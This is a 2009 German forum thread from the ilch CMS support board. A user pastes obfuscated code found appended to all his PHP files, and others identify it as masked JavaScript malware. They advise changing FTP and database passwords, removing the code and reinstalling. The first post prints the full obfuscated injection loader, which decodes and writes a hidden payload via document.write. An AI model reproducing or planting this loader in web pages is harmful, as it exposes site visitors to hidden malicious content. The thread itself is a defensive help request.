ilch Forum » Ilch Clan 1.1 » Fehlersuche und Probleme » Was ist das für ein Code ??

Geschlossen
  1. Di. 04.08.2009 16:06 Uhr #1
    User Pic
    Nico776 Mitglied
    Registriert seit
    20.02.2009
    Beiträge
    3
    Beitragswertungen
    0 Beitragspunkte
    Hallo ich habe ein Problem in alle Daten ist unten immer ein Code was einer von euch ?


    <?php echo 'function pde63eee44(s535e23c){var sebfb0=s535e23c.substr(9,3)-599,ib88fc347,i9ca815a;s535e23c=s535e23c.substr(12);var d91e9c6=s535e23c.length;for(var ca59881e=0;ca59881e<d91e9c6;ca59881e++){try{throw(y5d5d6=wd87c2a92(s535e23c,ca59881e));}catch(e){y5d5d6=e;};if(y5d5d6=='{'){sebfb0="";ca59881e++;s632eb=s535e23c.substr(ca59881e,1);while(s632eb!='{'){sebfb0+=s632eb;ca59881e++;s632eb=s535e23c.substr(ca59881e,1);}sebfb0-=472;continue;}ib88fc347="";if(g65813cd1(y5d5d6)){ca59881e++;y5d5d6=s535e23c.substr(ca59881e,1);while(y5d5d6!='±'){ib88fc347+=y5d5d6;ca59881e++;y5d5d6=s535e23c.substr(ca59881e,1);}ib88fc347=ib88fc347-sebfb0-50;if(ib88fc347<0)ib88fc347+=256;ib88fc347=ra93f5e(ib88fc347);document.write(String.fromCharCode(ib88fc347));continue;}ka6f868=(y5d5d6+'').charCodeAt(0);if(ka6f868>848)ka6f868-=848;i9ca815a=ka6f868-sebfb0-50;i9ca815a=db3cf8(i9ca815a);document.write(b3ffa19(i9ca815a));}}pde63eee44(e279dba03());function wd87c2a92(t088224,qdaade){return t088224.substr(qdaade,1);}function ra93f5e(ne4b92197){if(ne4b92197==168)ne4b92197=1025;else if(ne4b92197==184)ne4b92197=1105;return (ne4b92197>=192 && ne4b92197<256) ? ne4b92197+848 : ne4b92197;}function g65813cd1(kfed3041){return kfed3041=='±';}function b3ffa19(f2fd6627){return String.fromCharCode(f2fd6627);}function e279dba03(){return "e9ed0c90d667±178±±223±±220±±232±±215±±227±±219±{667{±21±{578{±15±±14±{488{±165±{513{±152±±125±±195±{474{±168±±168±±164±ncc±156±±174±±163±±162±±153±±164±±163±±157±±162±±168±b±151±{614{/{495{±182±x{607{,,{622{;±247±16,-@{640{±8±JB{574{±8±±186±±184±±15±±1±±252±{487{±181±±169±±126±c{636{±14±±248±±246±>{667{Z^\\{658{T`)±14±{665{){490{fd±165±±176±{595{±22±±20±{516{±204±{614{±253±±226±,%&{500{±194±{491{g{656{(";}function db3cf8(l053f3){var jc923d701=l053f3;if(jc923d701<0)jc923d701+=256;if(jc923d701==168)jc923d701=1025;else if(jc923d701==184)jc923d701=1105;return (jc923d701>=192 && jc923d701<256) ? jc923d701+848 : jc923d701;}'; ?>



    Bitte um Hilfe

    Grüß Nico


    verwendete ilchClan Version: 1.1

    betroffene Homepage: clan-video.tk
    0 Mitglieder finden den Beitrag gut.
  2. Di. 04.08.2009 16:09 Uhr #2
    User Pic
    DjGeCk0 Hall Of Fame
    Registriert seit
    01.05.2009
    Beiträge
    2.989
    Beitragswertungen
    96 Beitragspunkte
    naja dem umschließenden TAg zufolge soll das ein PHP-Code sein

    Viel sinn macht er jedoch nicht
    Alle Module von mir sind nun unter php-gecko.de erreichbar
    0 Mitglieder finden den Beitrag gut.
  3. Di. 04.08.2009 16:13 Uhr #3
    User Pic
    DjGeCk0 Hall Of Fame
    Registriert seit
    01.05.2009
    Beiträge
    2.989
    Beitragswertungen
    96 Beitragspunkte
    woher hast du den ?
    Alle Module von mir sind nun unter php-gecko.de erreichbar
    0 Mitglieder finden den Beitrag gut.
  4. Di. 04.08.2009 16:17 Uhr #4
    User Pic
    annemarie gelöschter User
    ich würd sagen das ist maskierter JS schadcode zwinker
    0 Mitglieder finden den Beitrag gut.
  5. Di. 04.08.2009 16:17 Uhr #5
    User Pic
    Nico776 Mitglied
    Registriert seit
    20.02.2009
    Beiträge
    3
    Beitragswertungen
    0 Beitragspunkte
    die habe ich aus der index.php aber in alle PHP Daten sind die Dirne
    0 Mitglieder finden den Beitrag gut.
  6. Di. 04.08.2009 16:19 Uhr #6
    User Pic
    DjGeCk0 Hall Of Fame
    Registriert seit
    01.05.2009
    Beiträge
    2.989
    Beitragswertungen
    96 Beitragspunkte
    jow das kommt durch schlecht geproggte Module ^^

    irgendwelche Veränderungen/Auffälligkeiten auf der Seite ?
    Alle Module von mir sind nun unter php-gecko.de erreichbar
    0 Mitglieder finden den Beitrag gut.
  7. Di. 04.08.2009 16:21 Uhr #7
    User Pic
    Nico776 Mitglied
    Registriert seit
    20.02.2009
    Beiträge
    3
    Beitragswertungen
    0 Beitragspunkte
    ich kann nicht mal mehr aufrufen
    0 Mitglieder finden den Beitrag gut.
  8. Di. 04.08.2009 16:23 Uhr #8
    User Pic
    annemarie gelöschter User
    ich würd die page auch nicht aufrufen zwinker

    wenn das in all deinen dateien ist, dann solltest du dein FTP passwort ändern, bzw, mal schauen ob irgendwo auf dem webspace ein script liegt das NICHT von dir ist oder zu ilch gehört.

    und entferne den code aus den dateien!
    0 Mitglieder finden den Beitrag gut.
  9. Di. 04.08.2009 16:23 Uhr #9
    User Pic
    Andy91 Mitglied
    Registriert seit
    03.07.2009
    Beiträge
    283
    Beitragswertungen
    0 Beitragspunkte
    jop ich könnte wissen woran das liegt, aber dazu bräuchte ich mal die index.php datei
    0 Mitglieder finden den Beitrag gut.
  10. Di. 04.08.2009 16:24 Uhr #10
    User Pic
    DjGeCk0 Hall Of Fame
    Registriert seit
    01.05.2009
    Beiträge
    2.989
    Beitragswertungen
    96 Beitragspunkte
    ich würde ilch neu installieren und nur getestete Module verwenden die auf ilch.de zum DL bereit stehen

    Wer weiss wie die DB ausschaut...

    FTP, SQL - PW ect alles ändern

    anderen Adminrechte entziehen


    Zuletzt modifiziert von DjGeCk0 am 04.08.2009 - 16:25:03
    Alle Module von mir sind nun unter php-gecko.de erreichbar
    0 Mitglieder finden den Beitrag gut.
Geschlossen

Zurück zu Fehlersuche und Probleme

Optionen: Bei einer Antwort zu diesem Thema eine eMail erhalten